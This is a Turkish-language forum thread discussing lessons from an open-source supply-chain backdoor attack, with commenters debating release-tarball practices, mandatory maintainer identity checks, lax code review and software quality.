      Buradaki çözüm, bu saldırıdan ders çıkarıp benzer saldırıları daha zor hâle getirecek pratiklere geçmektir. Depoda olmayan dosyalar asla sürüm tarball'ına konmamalı. Sonuçta oluşan tüm üretilmiş kod commit edilmelidir ve build script'leri türetilmiş kodu yeniden üretip, commit edilmiş kodla farklıysa başarısız olmalıdır. Anlaşılması zor veriler sürüm build süreci sırasında erişilebilir olmamalı; ikili veriye dayanan testler de sürüm ikililerinden tamamen ayrı biçimde build edilmelidir
    • İki sorun var
      Birincisi, özellikle güvenlik alanındaki önemli katkı sağlayıcıların önemli bir kısmı, geçerli nedenlerle takma adla faaliyet göstermeyi tercih eder. Kimliklerini açıklamaya zorlamak onları uzaklaştırır
      İkincisi, birçok kişinin tahmin ettiği gibi arkasında bir istihbarat teşkilatı varsa, böyle kurumlar zaten her türlü “gerçek” kimliği üretebilir. Sonuç olarak yararlı insanları dışlamış olursunuz ama saldırganları dışlayamazsınız
    • Bu yalnızca uygulanamaz değil, ayrıca iyi bir fikir de olmayabilir. Önemli açık kaynak proje bakımcılarının kimlikleri bilinirse, onlara baskı uygulamak daha kolay olur
    • Eğer bu bir devlet aktörüyse ki gerçekten öyle görünüyor, ne tür bir doğrulama yapabilirsiniz? Ehliyet, sosyal güvenlik numarası, ulusal kimlik kartı, pasaport; ne isterseniz hepsine yasal görünümlü belgeler üretebilirler
      Devlet işin içindeyse sınır yoktur. Tek yöntem, güvenilir bir yerde fiziksel olarak hazır bulunmayı şart koşmaktır; o yerin saldırganın yargı alanında olmamasını ummaktan başka çare kalmaz
    • Bir projeyi önemli proje olarak kim ve neye göre belirleyecek?
      Biri bir kütüphane yapıp başkaları kullanmaya başlarsa, kimliğini açıklamaya zorlanacak mı? Bakımcılar para mı alacak?
  • İster kapalı ister açık kaynakta geliştirme yapmış olun, geliştiricilerin PR'ları yarı tembelce onaylayıp geçtiğini bilirsiniz. Linus Torvalds, gün boyu sorunları işaret eden nadir istisnalardan biri gibi duruyor

    • Katılıyorum
      Birisi gerçekten dikkatli olacak kadar titizse, o kişi kolayca geliştirmeyi engelleyen baş belası olarak görülür. Sürekli kusur bulduğu düşünüldüğü için ekiple gerilim yaşar
      Açık konuşmak gerekirse ben de şu anda benzer bir durum yaşıyorum. Titiz olan ben değilim, işe aldığım geliştiricilerden biri. Ne yazık ki onun bu kadar dikkatli davranması olumlu karşılanmadı ve onu ekipten çıkarmak zorunda kaldım. Doğu Avrupa'dan olması ve geri bildirimi çok doğrudan vermesi de yardımcı olmadı
  • Unix yardımcı programları uzun zamandır sınanmış durumda. Çekirdeği ve temel yardımcı programları sabitleyip değiştirmesek keşke. Gerçekten gerekmedikçe
    Bozuk değilse tamir etme demek istiyorum. Yazılım imparatorluğu kontrolden çıkmış gibi görünüyor

    • Her şey bozuk. Bugün kabaca çalışır hâle getirmek için yapılmış hızlı hack'lerin, 50 yıl ve bir milyon geliştirici boyunca birikmesinin sonucu bu
      Arada gerçekten iyi yapılmış parlayan örnekler var ama genel tabloya bakınca bunların tamamen bastırıldığını söylemek doğru olur